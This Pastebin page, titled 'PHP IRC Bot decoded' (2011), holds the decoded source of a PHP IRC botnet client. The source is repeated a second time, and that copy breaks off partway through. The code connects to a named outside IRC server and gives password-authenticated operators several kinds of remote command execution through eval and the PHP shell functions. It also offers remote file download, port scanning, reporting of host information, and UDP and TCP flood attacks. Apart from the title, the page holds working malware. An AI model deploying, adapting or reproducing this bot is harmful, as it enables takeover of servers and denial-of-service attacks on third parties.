SHARE
TWEET

gangbang.mytijn.org PHP IRC Bot decoded

eromang Dec 14th, 2011 1,142 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. set_time_limit(0);
  2. error_reporting(0);
  3.  
  4. class pBot {
  5.  
  6.  var $config = array("server"=>"gangbang.mytijn.org",
  7.                      "port"=>"23232",
  8.                      "pass"=>"",
  9.                      "maxrand"=>"1",
  10.                      "chan"=>"#wWw#",
  11.                      "key"=>"scan",
  12.                      "modes"=>"+p",
  13.                      "password"=>"41aa15390e2efa34ac693c3bd7cb8e88",
  14.                      "trigger"=>".",
  15.                      "hostauth"=>"a87710e60dee7645081a8fc2fab74dbd");
  16.                       var $users = array();
  17.                                          
  18.  function start()
  19.  {
  20.     if(!($this->conn = fsockopen($this->config['server'],$this->config['port'],$e,$s,30)))
  21.        $this->start();
  22.         $this->set_ident();
  23.     $alph = range("0","9");
  24.     for($i=0;$i<$this->config['maxrand'];$i++)
  25.     if(strlen($this->config['pass'])>0)
  26.        $this->send("PASS ".$this->config['pass']);
  27.     $this->set_nick();
  28.     $this->main();
  29.  }
  30.  
  31.  function main()
  32.  {
  33.     while(!feof($this->conn))
  34.     {
  35.        $this->buf = trim(fgets($this->conn,512));
  36.        $cmd = explode(" ",$this->buf);
  37.        if(substr($this->buf,0,6)=="PING :")
  38.        {
  39.           $this->send("PONG :".substr($this->buf,6));
  40.        }
  41.        if(isset($cmd[1]) && $cmd[1] =="001")
  42.        {
  43.           $this->send("MODE ".$this->nick." ".$this->config['modes']);
  44.           $this->send("JOIN ".$this->config['chan']." ".$this->config['key']."");
  45.           $this->join($this->config['chan'],$this->config['key']);
  46.        }
  47.            if(isset($cmd[1]) && $cmd[1] =="002")
  48.        {
  49.               $this->send("JOIN ".$this->config['chan']." ".$this->config['key']."");
  50.           $this->join($this->config['chan'],$this->config['key']);
  51.                   $this->hostinfo();
  52.            }
  53.            if(isset($cmd[1]) && $cmd[1] =="003")
  54.        {
  55.                   $this->send("JOIN ".$this->config['chan']." ".$this->config['key']."");
  56.           $this->join($this->config['chan'],$this->config['key']);
  57.            }
  58.            if(isset($cmd[1]) && $cmd[1] =="004")
  59.        {
  60.                   $this->send("JOIN ".$this->config['chan']." ".$this->config['key']."");
  61.           $this->join($this->config['chan'],$this->config['key']);
  62.            }
  63.            if(isset($cmd[1]) && $cmd[1] =="005")
  64.        {
  65.                   $this->send("JOIN ".$this->config['chan']." ".$this->config['key']."");
  66.           $this->join($this->config['chan'],$this->config['key']);
  67.            }
  68.        if(isset($cmd[1]) && $cmd[1]=="433")
  69.        {
  70.           $this->set_nick();
  71.        }
  72.        if($this->buf != $old_buf)
  73.        {
  74.           $mcmd = array();
  75.           $msg = substr(strstr($this->buf," :"),2);
  76.           $msgcmd = explode(" ",$msg);
  77.           $nick = explode("!",$cmd[0]);
  78.           $vhost = explode("@",$nick[1]);
  79.           $vhost = $vhost[1];
  80.           $nick = substr($nick[0],1);
  81.           $host = $cmd[0];
  82.           if($msgcmd[0]==$this->nick)
  83.           {
  84.            for($i=0;$i<count($msgcmd);$i++)
  85.               $mcmd[$i] = $msgcmd[$i+1];
  86.           }
  87.           else
  88.           {
  89.            for($i=0;$i<count($msgcmd);$i++)
  90.               $mcmd[$i] = $msgcmd[$i];
  91.           }
  92.           if(count($cmd)>2)
  93.           {
  94.              switch($cmd[1])
  95.              {
  96.                 case "QUIT":
  97.                    if($this->is_logged_in($host))
  98.                    {
  99.                       $this->log_out($host);
  100.                    }
  101.                 break;
  102.                 case "PART":
  103.                    if($this->is_logged_in($host))
  104.                    {
  105.                       $this->log_out($host);
  106.                    }
  107.                 break;
  108.                 case "PRIVMSG":
  109.                    if(!$this->is_logged_in($host) && (md5($vhost) == $this->config['hostauth'] || $this->config['hostauth'] == "*"))
  110.                    {
  111.                       if(substr($mcmd[0],0,1)==".")
  112.                       {
  113.                          switch(substr($mcmd[0],1))
  114.                          {
  115.                             case "user":
  116.                               if(md5($mcmd[1])==$this->config['password'])
  117.                               {
  118.                                  $this->log_in($host);
  119.                               }
  120.                               else
  121.                               {
  122.                                  $this->notice($this->config['chan'],"[\2Auth\2]: Foute password $nick idioot!!");
  123.                               }
  124.                             break;
  125.                          }
  126.                       }
  127.                    }
  128.                    elseif($this->is_logged_in($host))
  129.                    {
  130.                       if(substr($mcmd[0],0,1)==".")
  131.                       {
  132.                          switch(substr($mcmd[0],1))
  133.                          {
  134.                             case "restart":
  135.                                $this->send("QUIT :gerestart door $nick");
  136.                                fclose($this->conn);
  137.                                $this->start();
  138.                             break;
  139.                             case "dns":
  140.                                if(isset($mcmd[1]))
  141.                                {
  142.                                   $ip = explode(".",$mcmd[1]);
  143.                                   if(count($ip)==4 && is_numeric($ip[0]) && is_numeric($ip[1]) && is_numeric($ip[2]) && is_numeric($ip[3]))
  144.                                   {
  145.                                      $this->privmsg($this->config['chan'],"[\2dns\2]: ".$mcmd[1]." => ".gethostbyaddr($mcmd[1]));
  146.                                   }
  147.                                   else
  148.                                   {
  149.                                      $this->privmsg($this->config['chan'],"[\2dns\2]: ".$mcmd[1]." => ".gethostbyname($mcmd[1]));
  150.                                   }
  151.                                }
  152.                             break;
  153.                             case "info":
  154.                                                                 $this->hostinfo();
  155.                             break;
  156.                             case "rndnick":
  157.                                $this->set_nick();
  158.                             break;
  159.                             case "raw":
  160.                                $this->send(strstr($msg,$mcmd[1]));
  161.                             break;
  162.                             case "eval":
  163.                               $eval = eval(substr(strstr($msg,$mcmd[1]),strlen($mcmd[1])));
  164.                             break;
  165.                                         case "sexec":
  166.                                $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
  167.                                $exec = shell_exec($command);
  168.                                $ret = explode("\n",$exec);
  169.                                for($i=0;$i<count($ret);$i++)
  170.                                   if($ret[$i]!=NULL)
  171.                                      $this->privmsg($this->config['chan'],"      : ".trim($ret[$i]));
  172.                             break;
  173.                             case "exec":
  174.                                $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
  175.                                $exec = exec($command);
  176.                                $ret = explode("\n",$exec);
  177.                                for($i=0;$i<count($ret);$i++)
  178.                                   if($ret[$i]!=NULL)
  179.                                      $this->privmsg($this->config['chan'],"      : ".trim($ret[$i]));
  180.                             break;
  181.                             case "passthru":
  182.                                $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
  183.  
  184.                                $exec = passthru($command);
  185.                                $ret = explode("\n",$exec);
  186.                                for($i=0;$i<count($ret);$i++)
  187.                                   if($ret[$i]!=NULL)
  188.                                      $this->privmsg($this->config['chan'],"      : ".trim($ret[$i]));
  189.                             break;
  190.                             case "popen":
  191.                                if(isset($mcmd[1]))
  192.                                {
  193.                                   $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
  194.                                   $this->privmsg($this->config['chan'],"[\2popen\2]: $command");
  195.                                   $pipe = popen($command,"r");
  196.                                   while(!feof($pipe))
  197.                                   {
  198.                                      $pbuf = trim(fgets($pipe,512));
  199.                                      if($pbuf != NULL)
  200.                                         $this->privmsg($this->config['chan'],"     : $pbuf");
  201.                                   }
  202.                                   pclose($pipe);
  203.                                }  
  204.  
  205.                             case "system":
  206.                                $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
  207.                                $exec = system($command);
  208.                                $ret = explode("\n",$exec);
  209.                                for($i=0;$i<count($ret);$i++)
  210.                                   if($ret[$i]!=NULL)
  211.                                      $this->privmsg($this->config['chan'],"      : ".trim($ret[$i]));
  212.                             break;
  213.                             case "pscan": // .pscan 127.0.0.1 6667
  214.                                if(count($mcmd) > 2)
  215.                                {
  216.                                   if(fsockopen($mcmd[1],$mcmd[2],$e,$s,15))
  217.                                      $this->privmsg($this->config['chan'],"[\2pscan\2]: ".$mcmd[1].":".$mcmd[2]." is \2open\2");
  218.                                   else
  219.                                      $this->privmsg($this->config['chan'],"[\2pscan\2]: ".$mcmd[1].":".$mcmd[2]." is \2closed\2");
  220.                                }
  221.                             break;
  222.                             case "download":
  223.                                if(count($mcmd) > 2)
  224.                                {
  225.                                   if(!$fp = fopen($mcmd[2],"w"))
  226.                                   {  
  227.                                      $this->privmsg($this->config['chan'],"[download:]\00314 Kon bestand niet downloaden. Toestemming geweigerd.");
  228.                                   }
  229.                                   else
  230.                                   {
  231.                                      if(!$get = file($mcmd[1]))
  232.                                      {
  233.                                         $this->privmsg($this->config['chan'],"[download:]\00314 Kan bestand \2".$mcmd[1]."\2 niet downloaden.");
  234.                                      }
  235.                                      else
  236.                                      {
  237.                                         for($i=0;$i<=count($get);$i++)
  238.                                         {
  239.                                            fwrite($fp,$get[$i]);
  240.                                         }
  241.                                         $this->privmsg($this->config['chan'],"[download:]\00314 Bestand \2".$mcmd[1]."\2 gedownload naar \2".$mcmd[2]."\2");
  242.                                      }
  243.                                      fclose($fp);
  244.                                   }
  245.                                }
  246.                                else { $this->privmsg($this->config['chan'],"[download:]\00314 Typ \".download http://your.host/file /tmp/file\""); }
  247.                             break;
  248.                                                        
  249.                             case "die":
  250.                                $this->send("QUIT :die command from $nick");
  251.                                fclose($this->conn);
  252.                                exit;
  253.  
  254.                                                            
  255.                             case "logout":
  256.                                $this->log_out($host);
  257.                                $this->privmsg($this->config['chan'],"[auth:]\00314 Je bent nu uitgelogt $nick");
  258.                             break;
  259.                                                        
  260.                             case "udpflood":
  261.                                if(count($mcmd)>3)
  262.                                {
  263.                                   $this->udpflood($mcmd[1],$mcmd[2],$mcmd[3]);
  264.                                }
  265.                             break;
  266.                                                        
  267.                             case "tcpflood":
  268.                                if(count($mcmd)>5)
  269.                                {
  270.                                   $this->tcpflood($mcmd[1],$mcmd[2],$mcmd[3],$mcmd[4],$mcmd[5]);
  271.                                }
  272.                             break;
  273.                          }
  274.                       }
  275.                    }
  276.                 break;
  277.              }
  278.           }
  279.        }
  280.        $old_buf = $this->buf;
  281.     }
  282.     $this->start();
  283.  }
  284.  function send($msg)
  285.  {
  286.     fwrite($this->conn,"$msg\r\n");
  287.  }
  288.  function join($chan,$key=NULL)
  289.  {
  290.     $this->send("JOIN $chan $key");
  291.  }
  292.  function privmsg($to,$msg)
  293.  {
  294.     $this->send("PRIVMSG $to :$msg");
  295.  }
  296.  function notice($to,$msg)
  297.  {
  298.     $this->send("NOTICE $to :$msg");
  299.  }
  300.  function is_logged_in($host)
  301.  {
  302.     if(isset($this->users[$host]))
  303.        return 1;
  304.     else
  305.        return 0;
  306.  }
  307.  function log_in($host)
  308.  {
  309.     $this->users[$host] = true;
  310.  }
  311.  function log_out($host)
  312.  {
  313.     unset($this->users[$host]);
  314.  }
  315. function set_nick() {
  316.   $nicky=array("a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z");
  317.   $this->nick = $nicky[rand(0,count($nicky) - 1)];
  318.   $this->nick1 = $nicky[rand(0,count($nicky) - 1)];
  319.   $this->nick2 = $nicky[rand(0,count($nicky) - 1)];
  320.   $this->nick3 = $nicky[rand(0,count($nicky) - 1)];
  321.   $this->nick4 = $nicky[rand(0,count($nicky) - 1)];
  322.   $this->nick5 = $nicky[rand(0,count($nicky) - 1)];
  323.   $this->nick6 = $nicky[rand(0,count($nicky) - 1)];
  324.   for($i=0;$i<$this->config['maxrand'];$i++)
  325.   $this->send("NICK [".rand(100, 99999)."]".$this->nick.$this->nick1.$this->nick2.$this->nick3.$this->nick4.$this->nick5.$this->nick6."");
  326.  }
  327.  
  328. function set_ident() {
  329.   $prify=array("a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z");
  330.   $ident = $prify[rand(0,count($prify) - 1)];
  331.   if(php_uname() == "") { $uname = "---"; }
  332.   else { $uname = php_uname(); }
  333.   $this->send("USER ".rand(100, 99999).$ident." 127.0.0.1 localhost :".$uname."");
  334.  }
  335.  
  336. function udpflood($host,$packetsize,$time) {
  337.         $this->privmsg($this->config['chan'],"[\2UdpFlood Started!\2]");
  338.         $packet = "";
  339.         for($i=0;$i<$packetsize;$i++) { $packet .= chr(mt_rand(1,256)); }
  340.         $timei = time();
  341.         $i = 0;
  342.         while(time()-$timei < $time) {
  343.                 $fp=fsockopen("udp://".$host,mt_rand(0,6000),$e,$s,5);
  344.         fwrite($fp,$packet);
  345.         fclose($fp);
  346.                 $i++;
  347.         }
  348.         $env = $i * $packetsize;
  349.         $env = $env / 1048576;
  350.         $vel = $env / $time;
  351.         $vel = round($vel);
  352.         $env = round($env);
  353.         $this->privmsg($this->config['chan'],"[\2UdpFlood Finished!\2]: $env MB enviados / Media: $vel MB/s ");
  354. }
  355.  function tcpflood($host,$packets,$packetsize,$port,$delay)
  356.  {
  357.     $this->privmsg($this->config['chan'],"[\2TcpFlood Started!\2]");
  358.     $packet = "";
  359.     for($i=0;$i<$packetsize;$i++)
  360.        $packet .= chr(mt_rand(1,256));
  361.     for($i=0;$i<$packets;$i++)
  362.     {
  363.        if(!$fp=fsockopen("tcp://".$host,$port,$e,$s,5))
  364.        {
  365.           $this->privmsg($this->config['chan'],"[\2TcpFlood\2]: Error: <$e>");
  366.           return 0;
  367.        }
  368.        else
  369.        {
  370.           fwrite($fp,$packet);
  371.           fclose($fp);
  372.        }
  373.        sleep($delay);
  374.     }
  375.     $this->privmsg($this->config['chan'],"[\2TcpFlood Finished!\2]: Config - $packets pacotes para $host:$port.");
  376.  }
  377.  
  378. function hostinfo() {
  379.         if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "\0034ON\003"; }
  380.     else { $safemode = "\0039OFF\003"; }
  381.  
  382.         $unme = php_uname();
  383.         if($unme == "") { $mname = "\00315---\003"; }
  384.         else { $mname = "\00315".$unme."\003"; }
  385.                  
  386.          $url = "\00315http://".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']."\003";
  387.          $pth = "\00315".getcwd()."\003";
  388.                  
  389.         $pthh =  getcwd()."";
  390.         $perms = fileperms("$pthh");
  391.  
  392.         if (($perms & 0xC000) == 0xC000) { $info = 's';
  393.         } elseif (($perms & 0xA000) == 0xA000) { $info = 'l';
  394.         } elseif (($perms & 0x8000) == 0x8000) { $info = '-';
  395.         } elseif (($perms & 0x6000) == 0x6000) { $info = 'b';
  396.         } elseif (($perms & 0x4000) == 0x4000) { $info = 'd';
  397.         } elseif (($perms & 0x2000) == 0x2000) { $info = 'c';
  398.         } elseif (($perms & 0x1000) == 0x1000) { $info = 'p';
  399.         } else { $info = 'u'; }
  400.  
  401.         // Owner
  402.         $info .= (($perms & 0x0100) ? 'r' : '-');
  403.         $info .= (($perms & 0x0080) ? 'w' : '-');
  404.         $info .= (($perms & 0x0040) ?
  405.                         (($perms & 0x0800) ? 's' : 'x' ) :
  406.                         (($perms & 0x0800) ? 'S' : '-'));
  407.         // Group
  408.         $info .= (($perms & 0x0020) ? 'r' : '-');
  409.         $info .= (($perms & 0x0010) ? 'w' : '-');
  410.         $info .= (($perms & 0x0008) ?
  411.                         (($perms & 0x0400) ? 's' : 'x' ) :
  412.                         (($perms & 0x0400) ? 'S' : '-'));
  413.         // World
  414.         $info .= (($perms & 0x0004) ? 'r' : '-');
  415.         $info .= (($perms & 0x0002) ? 'w' : '-');
  416.         $info .= (($perms & 0x0001) ?
  417.                         (($perms & 0x0200) ? 't' : 'x' ) :
  418.                         (($perms & 0x0200) ? 'T' : '-'));
  419.                        
  420.         $rghts = "\00315".$info."\003";
  421.  
  422.         $this->privmsg($this->config['chan'],"\00314[SAFE:\003\2 $safemode\2\00314]\00315 $url \00314[pwd:]\00315 $pth \00314(\003$rghts\00314) [uname:]\00315 $mname");
  423.         }
  424.  }
  425. $bot = new pBot;
  426. $bot->start();set_time_limit(0);
  427. error_reporting(0);
  428.  
  429. class pBot {
  430.  
  431.  var $config = array("server"=>"gangbang.mytijn.org",
  432.                      "port"=>"23232",
  433.                      "pass"=>"",
  434.                      "maxrand"=>"1",
  435.                      "chan"=>"#wWw#",
  436.                      "key"=>"scan",
  437.                      "modes"=>"+p",
  438.                      "password"=>"41aa15390e2efa34ac693c3bd7cb8e88",
  439.                      "trigger"=>".",
  440.                      "hostauth"=>"a87710e60dee7645081a8fc2fab74dbd");
  441.                       var $users = array();
  442.                                          
  443.  function start()
  444.  {
  445.     if(!($this->conn = fsockopen($this->config['server'],$this->config['port'],$e,$s,30)))
  446.        $this->start();
  447.         $this->set_ident();
  448.     $alph = range("0","9");
  449.     for($i=0;$i<$this->config['maxrand'];$i++)
  450.     if(strlen($this->config['pass'])>0)
  451.        $this->send("PASS ".$this->config['pass']);
  452.     $this->set_nick();
  453.     $this->main();
  454.  }
  455.  
  456.  function main()
  457.  {
  458.     while(!feof($this->conn))
  459.     {
  460.        $this->buf = trim(fgets($this->conn,512));
  461.        $cmd = explode(" ",$this->buf);
  462.        if(substr($this->buf,0,6)=="PING :")
  463.        {
  464.           $this->send("PONG :".substr($this->buf,6));
  465.        }
  466.        if(isset($cmd[1]) && $cmd[1] =="001")
  467.        {
  468.           $this->send("MODE ".$this->nick." ".$this->config['modes']);
  469.           $this->send("JOIN ".$this->config['chan']." ".$this->config['key']."");
  470.           $this->join($this->config['chan'],$this->config['key']);
  471.        }
  472.            if(isset($cmd[1]) && $cmd[1] =="002")
  473.        {
  474.               $this->send("JOIN ".$this->config['chan']." ".$this->config['key']."");
  475.           $this->join($this->config['chan'],$this->config['key']);
  476.                   $this->hostinfo();
  477.            }
  478.            if(isset($cmd[1]) && $cmd[1] =="003")
  479.        {
  480.                   $this->send("JOIN ".$this->config['chan']." ".$this->config['key']."");
  481.           $this->join($this->config['chan'],$this->config['key']);
  482.            }
  483.            if(isset($cmd[1]) && $cmd[1] =="004")
  484.        {
  485.                   $this->send("JOIN ".$this->config['chan']." ".$this->config['key']."");
  486.           $this->join($this->config['chan'],$this->config['key']);
  487.            }
  488.            if(isset($cmd[1]) && $cmd[1] =="005")
  489.        {
  490.                   $this->send("JOIN ".$this->config['chan']." ".$this->config['key']."");
  491.           $this->join($this->config['chan'],$this->config['key']);
  492.            }
  493.        if(isset($cmd[1]) && $cmd[1]=="433")
  494.        {
  495.           $this->set_nick();
  496.        }
  497.        if($this->buf != $old_buf)
  498.        {
  499.           $mcmd = array();
  500.           $msg = substr(strstr($this->buf," :"),2);
  501.           $msgcmd = explode(" ",$msg);
  502.           $nick = explode("!",$cmd[0]);
  503.           $vhost = explode("@",$nick[1]);
  504.           $vhost = $vhost[1];
  505.           $nick = substr($nick[0],1);
  506.           $host = $cmd[0];
  507.           if($msgcmd[0]==$this->nick)
  508.           {
  509.            for($i=0;$i<count($msgcmd);$i++)
  510.               $mcmd[$i] = $msgcmd[$i+1];
  511.           }
  512.           else
  513.           {
  514.            for($i=0;$i<count($msgcmd);$i++)
  515.               $mcmd[$i] = $msgcmd[$i];
  516.           }
  517.           if(count($cmd)>2)
  518.           {
  519.              switch($cmd[1])
  520.              {
  521.                 case "QUIT":
  522.                    if($this->is_logged_in($host))
  523.                    {
  524.                       $this->log_out($host);
  525.                    }
  526.                 break;
  527.                 case "PART":
  528.                    if($this->is_logged_in($host))
  529.                    {
  530.                       $this->log_out($host);
  531.                    }
  532.                 break;
  533.                 case "PRIVMSG":
  534.                    if(!$this->is_logged_in($host) && (md5($vhost) == $this->config['hostauth'] || $this->config['hostauth'] == "*"))
  535.                    {
  536.                       if(substr($mcmd[0],0,1)==".")
  537.                       {
  538.                          switch(substr($mcmd[0],1))
  539.                          {
  540.                             case "user":
  541.                               if(md5($mcmd[1])==$this->config['password'])
  542.                               {
  543.                                  $this->log_in($host);
  544.                               }
  545.                               else
  546.                               {
  547.                                  $this->notice($this->config['chan'],"[\2Auth\2]: Foute password $nick idioot!!");
  548.                               }
  549.                             break;
  550.                          }
  551.                       }
  552.                    }
  553.                    elseif($this->is_logged_in($host))
  554.                    {
  555.                       if(substr($mcmd[0],0,1)==".")
  556.                       {
  557.                          switch(substr($mcmd[0],1))
  558.                          {
  559.                             case "restart":
  560.                                $this->send("QUIT :gerestart door $nick");
  561.                                fclose($this->conn);
  562.                                $this->start();
  563.                             break;
  564.                             case "dns":
  565.                                if(isset($mcmd[1]))
  566.                                {
  567.                                   $ip = explode(".",$mcmd[1]);
  568.                                   if(count($ip)==4 && is_numeric($ip[0]) && is_numeric($ip[1]) && is_numeric($ip[2]) && is_numeric($ip[3]))
  569.                                   {
  570.                                      $this->privmsg($this->config['chan'],"[\2dns\2]: ".$mcmd[1]." => ".gethostbyaddr($mcmd[1]));
  571.                                   }
  572.                                   else
  573.                                   {
  574.                                      $this->privmsg($this->config['chan'],"[\2dns\2]: ".$mcmd[1]." => ".gethostbyname($mcmd[1]));
  575.                                   }
  576.                                }
  577.                             break;
  578.                             case "info":
  579.                                                                 $this->hostinfo();
  580.                             break;
  581.                             case "rndnick":
  582.                                $this->set_nick();
  583.                             break;
  584.                             case "raw":
  585.                                $this->send(strstr($msg,$mcmd[1]));
  586.                             break;
  587.                             case "eval":
  588.                               $eval = eval(substr(strstr($msg,$mcmd[1]),strlen($mcmd[1])));
  589.                             break;
  590.                                         case "sexec":
  591.                                $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
  592.                                $exec = shell_exec($command);
  593.                                $ret = explode("\n",$exec);
  594.                                for($i=0;$i<count($ret);$i++)
  595.                                   if($ret[$i]!=NULL)
  596.                                      $this->privmsg($this->config['chan'],"      : ".trim($ret[$i]));
  597.                             break;
  598.                             case "exec":
  599.                                $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
  600.                                $exec = exec($command);
  601.                                $ret = explode("\n",$exec);
  602.                                for($i=0;$i<count($ret);$i++)
  603.                                   if($ret[$i]!=NULL)
  604.                                      $this->privmsg($this->config['chan'],"      : ".trim($ret[$i]));
  605.                             break;
  606.                             case "passthru":
  607.                                $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
  608.  
  609.                                $exec = passthru($command);
  610.                                $ret = explode("\n",$exec);
  611.                                for($i=0;$i<count($ret);$i++)
  612.                                   if($ret[$i]!=NULL)
  613.                                      $this->privmsg($this->config['chan'],"      : ".trim($ret[$i]));
  614.                             break;
  615.                             case "popen":
  616.                                if(isset($mcmd[1]))
  617.                                {
  618.                                   $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
  619.                                   $this->privmsg($this->config['chan'],"[\2popen\2]: $command");
  620.                                   $pipe = popen($command,"r");
  621.                                   while(!feof($pipe))
  622.                                   {
  623.                                      $pbuf = trim(fgets($pipe,512));
  624.                                      if($pbuf != NULL)
  625.                                         $this->privmsg($this->config['chan'],"     : $pbuf");
  626.                                   }
  627.                                   pclose($pipe);
  628.                                }  
  629.  
  630.                             case "system":
  631.                                $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
  632.                                $exec = system($command);
  633.                                $ret = explode("\n",$exec);
  634.                                for($i=0;$i<count($ret);$i++)
  635.                                   if($ret[$i]!=NULL)
  636.                                      $this->privmsg($this->config['chan'],"      : ".trim($ret[$i]));
  637.                             break;
  638.                             case "pscan": // .pscan 127.0.0.1 6667
  639.                                if(count($mcmd) > 2)
  640.                                {
  641.                                   if(fsockopen($mcmd[1],$mcmd[2],$e,$s,15))
  642.                                      $this->privmsg($this->config['chan'],"[\2pscan\2]: ".$mcmd[1].":".$mcmd[2]." is \2open\2");
  643.                                   else
  644.                                      $this->privmsg($this->config['chan'],"[\2pscan\2]: ".$mcmd[1].":".$mcmd[2]." is \2closed\2");
  645.                                }
  646.                             break;
  647.                             case "download":
  648.                                if(count($mcmd) > 2)
  649.                                {
  650.                                   if(!$fp = fopen($mcmd[2],"w"))
  651.                                   {  
  652.                                      $this->privmsg($this->config['chan'],"[download:]\00314 Kon bestand niet downloaden. Toestemming geweigerd.");
  653.                                   }
  654.                                   else
  655.                                   {
  656.                                      if(!$get = file($mcmd[1]))
  657.                                      {
  658.                                         $this->privmsg($this->config['chan'],"[download:]\00314 Kan bestand \2".$mcmd[1]."\2 niet downloaden.");
  659.                                      }
  660.                                      else
  661.                                      {
  662.                                         for($i=0;$i<=count($get);$i++)
  663.                                         {
  664.                                            fwrite($fp,$get[$i]);
  665.                                         }
  666.                                         $this->privmsg($this->config['chan'],"[download:]\00314 Bestand \2".$mcmd[1]."\2 gedownload naar \2".$mcmd[2]."\2");
  667.                                      }
  668.                                      fclose($fp);
  669.                                   }
  670.                                }
  671.                                else { $this->privmsg($this->config['chan'],"[download:]\00314 Typ \".download http://your.host/file /tmp/file\""); }
  672.                             break;
  673.                                                        
  674.                             case "die":
  675.                                $this->send("QUIT :die command from $nick");
  676.                                fclose($this->conn);
  677.                                exit;
  678.  
  679.                                                            
  680.                             case "logout":
  681.                                $this->log_out($host);
  682.                                $this->privmsg($this->config['chan'],"[auth:]\00314 Je bent nu uitgelogt $nick");
  683.                             break;
  684.                                                        
  685.                             case "udpflood":
  686.                                if(count($mcmd)>3)
  687.                                {
  688.                                   $this->udpflood($mcmd[1],$mcmd[2],$mcmd[3]);
  689.                                }
  690.                             break;
  691.                                                        
  692.                             case "tcpflood":
  693.                                if(count($mcmd)>5)
  694.                                {
  695.                                   $this->tcpflood($mcmd[1],$mcmd[2],$mcmd[3],$mcmd[4],$mcmd[5]);
  696.                                }
  697.                             break;
  698.                          }
  699.                       }
  700.                    }
  701.                 break;
  702.              }
  703.           }
  704.        }
  705.        $old_buf = $this->buf;
  706.     }
  707.     $this->start();
  708.  }
  709.  function send($msg)
  710.  {
  711.     fwrite($this->conn,"$msg\r\n");
  712.  }
  713.  function join($chan,$key=NULL)
  714.  {
  715.     $this->send("JOIN $chan $key");
  716.  }
  717.  function privmsg($to,$msg)
  718.  {
  719.     $this->send("PRIVMSG $to :$msg");
  720.  }
  721.  function notice($to,$msg)
  722.  {
  723.     $this->send("NOTICE $to :$msg");
  724.  }
  725.  function is_logged_in($host)
  726.  {
  727.     if(isset($this->users[$host]))
  728.        return 1;
  729.     else
  730.        return 0;
  731.  }
  732.  function log_in($host)
  733.  {
  734.     $this->users[$host] = true;
  735.  }
  736.  function log_out($host)
  737.  {
  738.     unset($this->users[$host]);
  739.  }
  740. function set_nick() {
  741.   $nicky=array("a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z");
  742.   $this->nick = $nicky[rand(0,count($nicky) - 1)];
  743.   $this->nick1 = $nicky[rand(0,count($nicky) - 1)];
  744.   $this->nick2 = $nicky[rand(0,count($nicky) - 1)];
  745.   $this->nick3 = $nicky[rand(0,count($nicky) - 1)];
  746.   $this->nick4 = $nicky[rand(0,count($nicky) - 1)];
  747.   $this->nick5 = $nicky[rand(0,count($nicky) - 1)];
  748.   $this->nick6 = $nicky[rand(0,count($nicky) - 1)];
  749.   for($i=0;$i<$this->config['maxrand'];$i++)
  750.   $this->send("NICK [".rand(100, 99999)."]".$this->nick.$this->nick1.$this->nick2.$this->nick3.$this->nick4.$this->nick5.$this->nick6."");
  751.  }
  752.  
  753. function set_ident() {
  754.   $prify=array("a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z");
  755.   $ident = $prify[rand(0,count($prify) - 1)];
  756.   if(php_uname() == "") { $uname = "---"; }
  757.   else { $uname = php_uname(); }
  758.   $this->send("USER ".rand(100, 99999).$ident." 127.0.0.1 localhost :".$uname."");
  759.  }
  760.  
  761. function udpflood($host,$packetsize,$time) {
  762.         $this->privmsg($this->config['chan'],"[\2UdpFlood Started!\2]");
  763.         $packet = "";
  764.         for($i=0;$i<$packetsize;$i++) { $packet .= chr(mt_rand(1,256)); }
  765.         $timei = time();
  766.         $i = 0;
  767.         while(time()-$timei < $time) {
  768.                 $fp=fsockopen("udp://".$host,mt_rand(0,6000),$e,$s,5);
  769.         fwrite($fp,$packet);
  770.         fclose($fp);
  771.                 $i++;
  772.         }
  773.         $env = $i * $packetsize;
  774.         $env = $env / 1048576;
  775.         $vel = $env / $time;
  776.         $vel = round($vel);
  777.         $env = round($env);
  778.         $this->privmsg($this->config['chan'],"[\2UdpFlood Finished!\2]: $env MB enviados / Media: $vel MB/s ");
  779. }
  780.  function tcpflood($host,$packets,$packetsize,$port,$delay)
  781.  {
  782.     $this->privmsg($this->config['chan'],"[\2TcpFlood Started!\2]");
  783.     $packet = "";
  784.     for($i=0;$i<$packetsize;$i++)
  785.        $packet .= chr(mt_rand(1,256));
  786.     for($i=0;$i<$packets;$i++)
  787.     {
  788.        if(!$fp=fsockopen("tcp://".$host,$port,$e,$s,5))
  789.        {
  790.           $this->privmsg($this->config['chan'],"[\2TcpFlood\2]: Error: <$e>");
  791.           return 0;
  792.        }
  793.        else
  794.        {
  795.           fwrite($fp,$packet);
  796.           fclose($fp);
  797.        }
  798.        sleep($delay);
  799.     }
  800.     $this->privmsg($this->config['chan'],"[\2TcpFlood Finished!\2]: Config - $packets pacotes para $host:$port.");
  801.  }
  802.  
  803. function hostinfo() {
  804.         if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "\0034ON\003"; }
  805.     else { $safemode = "\0039OFF\003"; }
  806.  
  807.         $unme = php_uname();
  808.         if($unme == "") { $mname = "\00315---\003"; }
  809.         else { $mname = "\00315".$unme."\003"; }
  810.                  
